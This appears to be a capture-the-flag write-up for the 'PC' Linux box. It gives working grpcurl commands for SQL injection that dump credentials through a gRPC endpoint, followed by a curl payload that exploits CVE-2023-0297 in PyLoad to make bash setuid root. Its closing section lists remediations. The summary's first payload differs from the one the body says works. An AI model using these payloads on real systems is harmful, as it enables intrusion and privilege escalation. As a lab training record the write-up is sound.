Summary
PC is an Easy Linux box: gRPC service on :50051. Register
a user via RegisterUser, get a JWT, then SQLi the
SQLite-backed getInfo endpoint → leak sau creds → SSH.
Privesc: PyLoad on :9666 running as root →
CVE-2023-0297 unauth RCE via /flash/addcrypted2’s
js2py with pyimport enabled → SetUID bash.
The chain:
grpcurl -plaintext 10.10.11.214:50051 list→ enumerate.RegisterUser+LoginUser→ JWT.getInfoSQLi:id="' UNION SELECT 1,2,group_concat(username||':'||password) FROM accounts--".sau:<password>→ SSH.ss -tlnp→ 127.0.0.1:9666 PyLoad.curl http://127.0.0.1:9666/flash/addcrypted2 -d 'jk=pyimport os;os.system("chmod +s /bin/bash")&package=x&crypted=x&passwords=x'bash -p→ root.
Recon
22/tcp OpenSSH
50051/tcp gRPC (SimpleApp)
+ internal :9666 PyLoad (root)
Foothold — gRPC + SQLi
The service exposes three RPCs. grpcurl ... list SimpleApp shows
the unprefixed names:
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo
The route prefix is SimpleApp/<rpc>, not SimpleApp.SimpleApp/<rpc>
— some online walkthroughs have the doubled prefix because the proto’s
package and service share the name.
LoginUserResponse only carries a message: string field. The actual
JWT is delivered as a gRPC response trailer, not in the body —
grpcurl -v is required to see it:
grpcurl -plaintext -d '{"username":"admin1","password":"admin1"}' \
<TARGET>:50051 SimpleApp/RegisterUser
# {"message":"Account created for user admin1!"}
TOK=$(grpcurl -plaintext -v \
-d '{"username":"admin1","password":"admin1"}' \
<TARGET>:50051 SimpleApp/LoginUser 2>&1 \
| grep -oE 'eyJ[A-Za-z0-9._-]+' | head -1)
getInfoResponse has a single message field, so the SQL behind it
is single-column. id is treated as a raw numeric SQL fragment
(no enclosing quotes — the writeup-template ' UNION ... payload fails
because the int cast is performed before the SQL); id=0 UNION SELECT
... skips the canned id-1 row and surfaces the union row. Schema
discovery first, then dump:
# schema
grpcurl -plaintext -H "token: $TOK" \
-d "{\"id\":\"1 UNION SELECT sql FROM sqlite_master WHERE name='accounts'\"}" \
<TARGET>:50051 SimpleApp/getInfo
# CREATE TABLE accounts (username TEXT UNIQUE, password TEXT)
# dump
grpcurl -plaintext -H "token: $TOK" \
-d "{\"id\":\"0 UNION SELECT group_concat(username||':'||password,' | ') FROM accounts\"}" \
<TARGET>:50051 SimpleApp/getInfo
# admin:admin | sau:<password> | admin1:admin1
ssh sau@<TARGET>
Privesc — CVE-2023-0297 PyLoad
curl 'http://127.0.0.1:9666/flash/addcrypted2' \
--data-urlencode 'jk=function f(){};pyimport os;os.system("chmod +s /bin/bash");' \
--data 'package=x&crypted=eA==&passwords=x'
/bin/bash -p
# root
crypted must be valid base64 (e.g. eA== decodes to x) — the
endpoint runs standard_b64decode on it before the jk JS is
evaluated, and crypted=x raises binascii.Error: Invalid base64
encoded string which short-circuits the request before the
sandbox-escape fires. The endpoint then logs "Could not decrypt key"
even on success, which is fine — the side-effect (chmod +s /bin/bash)
runs anyway.
Why each step worked
- gRPC + SQLi: protocol doesn’t matter; the server builds a SQLite query with string concat.
- CVE-2023-0297: PyLoad’s
js2pyevaluator allowedpyimportwhich exposes the entire stdlib.
Counterfactuals
- Parameterise SQLite queries.
- Patch PyLoad ≥ 0.5.0b3.dev31.
- Bind PyLoad to localhost only (it was) but require auth even there.